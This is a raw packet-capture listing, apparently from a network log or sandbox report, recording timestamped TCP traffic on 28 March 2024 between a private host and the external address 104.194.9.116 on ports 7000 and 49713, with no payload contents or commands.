Mar 28, 2024 10:25:45.253922939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.253937960 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.253952980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.253966093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.253988028 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.254015923 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.254019022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.254034042 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.254054070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.254069090 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.254096985 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.301213026 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.317249060 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317274094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317289114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317301035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317315102 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317329884 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317343950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317357063 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317370892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317378998 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.317385912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317428112 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.317445993 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.317456007 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317471027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317483902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317507982 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.317517996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317533016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317557096 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.317558050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317595959 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.317600012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317614079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317656040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317666054 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.317673922 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.317708015 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.327826023 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.327858925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.327874899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.327920914 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.327934980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.327946901 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.327958107 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.327985048 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.328001022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.328013897 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.328027964 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.328062057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.328098059 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.328134060 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.328171015 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.357475042 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.357500076 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.357513905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.357527971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.357542992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.357559919 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.357564926 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.357573032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.357611895 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.357641935 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.357681990 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419038057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419068098 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419094086 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419109106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419151068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419157982 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419171095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419186115 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419208050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419210911 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419223070 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419254065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419265032 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419271946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419315100 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419369936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419403076 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419416904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419475079 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419483900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419529915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419554949 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419568062 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419625044 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419646978 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419651031 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419699907 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.419708014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419754982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419774055 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.419821978 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.435076952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.435101032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.435122013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.435139894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.435169935 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.435206890 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.435220003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.435270071 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.435293913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.435318947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.435359955 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.435394049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.435430050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.435467958 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.435513020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.461472988 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.461525917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.461538076 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.461565018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.461580038 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.461594105 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.461620092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.461635113 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.461648941 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.461649895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.461677074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.461709976 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.504326105 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520214081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520247936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520261049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520275116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520287991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520303011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520304918 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520315886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520329952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520343065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520344019 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520355940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520369053 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520370007 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520380974 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520394087 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520409107 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520430088 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520436049 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520457029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520477057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520481110 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520514011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520538092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520539999 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520555019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520581007 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.520591021 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520615101 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.520627975 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562110901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562134981 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562149048 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562164068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562169075 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.562179089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562196970 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562215090 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.562242031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562243938 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.562258959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562273979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562295914 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.562300920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562314034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562326908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562326908 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.562366962 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.562381029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562393904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562406063 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562423944 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.562424898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562443018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.562452078 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.562490940 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.605581999 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.646801949 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.646862984 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.646878004 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.646893024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.646905899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.646930933 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.646964073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647017956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.647053957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647123098 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647169113 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.647192955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647269011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647368908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647403955 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.647473097 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647486925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647516966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647526026 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.647558928 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.647564888 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647644043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647675991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647716045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.647819042 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647875071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647916079 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.647950888 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.647964954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.648004055 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.674659014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.674734116 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.674747944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.674777031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.674823046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.674840927 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.674886942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.674916983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.674926996 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.674987078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675028086 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.675055027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675107002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675139904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675178051 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.675203085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675249100 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.675251961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675318956 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675368071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675374031 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.675405025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675455093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675493956 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.675513983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.675556898 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.675571918 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.723064899 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.774745941 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.774805069 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.774846077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.774899960 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.774903059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.774950027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.774993896 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.775005102 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775043011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775046110 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.775103092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775147915 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.775171041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775288105 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775317907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775356054 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.775382042 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775444031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775513887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775511026 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.775541067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775554895 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.775599957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775667906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775681973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775736094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.775736094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.775753021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775785923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.775823116 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.790841103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.790996075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791038990 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.791127920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791176081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791213989 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.791238070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791291952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791332960 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.791347980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791611910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791680098 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791723013 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.791791916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791858912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791883945 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.791918039 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.791965008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.791985035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.792078972 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.792118073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.792121887 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.792248011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.792299032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.792335033 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.792574883 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.792643070 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.837287903 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.879302979 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.902477026 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902494907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902508020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902574062 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902592897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902627945 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.902652979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902657032 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.902666092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902678013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902689934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902714014 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.902715921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902738094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.902765036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902777910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902797937 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.902820110 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902832985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902853966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902867079 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.902867079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902901888 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.902903080 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.902915001 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902929068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902940989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902965069 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.902975082 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.903008938 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.918308020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918332100 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918423891 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.918417931 CET	7000	49713	104.194.9.116	192.168.2.7
